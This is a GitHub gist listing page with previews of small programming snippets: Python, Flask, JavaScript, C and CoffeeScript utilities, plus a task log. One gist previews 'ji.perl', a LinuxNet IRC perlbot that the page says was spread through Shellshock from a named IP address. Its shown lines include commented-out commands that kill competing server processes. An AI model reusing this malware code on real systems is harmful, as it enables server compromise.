Skip to content

Instantly share code, notes, and snippets.

def bad_nested_ifs(self, value):
foo = self.get(value, None)
if foo:
bar = foo.get('bar', None)
if bar:
baz = bar.get('baz', None)
if baz:
pass # Do something with baz
from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from sqlalchemy.orm import backref
from flask_potion.routes import Relation
from flask_potion import ModelResource, fields, Api
app = Flask(__name__)
db = SQLAlchemy(app)
class Author(db.Model):
2015-04-02 15:13:53 --> Task #1 submitted.
2015-04-02 15:13:57 --> Task #1 started.
2015-04-02 15:13:57 --> Input file '/home/jnotarst/.virtualenvs/invenio2/src/invenio/invenio/testsuite/data/demo_record_marc_data.xml', input mode 'insert'.
2015-04-02 15:14:00 --> Record 1 DONE
2015-04-02 15:14:00 --> Record 2 DONE
2015-04-02 15:14:00 --> Record 3 DONE
2015-04-02 15:14:00 --> Record 4 DONE
2015-04-02 15:14:00 --> Record 5 DONE
2015-04-02 15:14:01 --> Record 6 DONE
2015-04-02 15:14:01 --> Record 7 DONE
@jacquerie
jacquerie / ji.perl
Created October 2, 2014 18:27
This payload is currently being distributed using the Shellshock vulnerability (from http://89.33.193.10/ji)
#!/usr/bin/perl
# ------------------------------------------------------------- #
# LinuxNet perlbot #
# ------------------------------------------------------------- #
#system("kill -9 `ps ax |grep /usr/sbin/apache2/log |grep -v grep|awk '{print $1;}'`");
#system("kill -9 `ps ax |grep /usr/sbin/apache3/log |grep -v grep|awk '{print $1;}'`");
#system("kill -9 `ps ax |grep /usr/sbin/apache/log |grep -v grep|awk '{print $1;}'`");
#system("kill -9 `ps ax |grep /usr/sbin/httpd |grep -v grep|awk '{print $1;}'`");
#system("kill -9 `ps ax |grep /usr/sbin/atd |grep -v grep|awk '{print $1;}'`");
@jacquerie
jacquerie / fibonacci_memoized.js
Created September 15, 2014 07:51
A Fibonacci implementation that uses memoization.
this.fibonacci = (function (n) {
var fibo = {};
var rec = function (n) {
var tmp;
if (n in fibo) {
tmp = fibo[n];
} else if (n === 0 || n === 1) {
tmp = n;
} else {
@jacquerie
jacquerie / morse.c
Last active March 10, 2022 09:36
Small C library to convert from chars to Morse Code and back.
#include <ctype.h>
#include <stdlib.h>
#include "morse.h"
/*
* Function morse_to_index by cypherpunks on Reddit.
* See: http://goo.gl/amr6A3
*/
int morse_to_index (const char* str)
@jacquerie
jacquerie / levenshtein.js
Created July 24, 2014 11:30
An implementation of the Levenshtein distance using two arrays instead of a matrix, as in: https://gist.github.com/andrei-m/982927
/*
* The MIT License (MIT)
*
* Copyright (c) 2014 Jacopo Notarstefano
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
@jacquerie
jacquerie / evolution.py
Last active August 29, 2015 14:03
What would past presidential elections look like if electoral votes were multiplied by percentage of people believing in evolution? Usage: python evolution.py votes-20**.tsv
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
import sys
EVOLUTION_DATA = {
"Alabama": 0.51, "Alaska": 0.66, "Arizona": 0.65, "Arkansas": 0.53,
"California": 0.73, "Colorado": 0.69, "Connecticut": 0.77, "Delaware": 0.70,
"Florida": 0.64, "Georgia": 0.60, "Hawaii": 0.71, "Idaho": 0.59, "Illinois": 0.68,
"Indiana": 0.60, "Iowa": 0.62, "Kansas": 0.61, "Kentucky": 0.57, "Louisiana": 0.62,
@jacquerie
jacquerie / iubenda.js.coffee
Last active August 29, 2015 14:00
Turbolinks.js + iubenda.js
class @Iubenda
@load: ->
if typeof Turbolinks isnt "undefined" and Turbolinks.supported
document.addEventListener "page:change", (->
Iubenda.loadTag()
), true
else
Iubenda.loadTag()
@jacquerie
jacquerie / addKonamiCode.js
Last active July 19, 2017 18:49
Adds a Konami Code easter egg to a page. Requires jQuery.
var addkonamiCode = function () {
var status = 0;
$("body").keydown(function (e) {
if ((e.which === 38 && (status === 0 || status === 1))
|| (e.which === 40 && (status === 2 || status === 3))
|| (e.which === 37 && (status === 4 || status === 6))
|| (e.which === 39 && (status === 5 || status === 7))
|| (e.which === 66 && status === 8)) {
status++;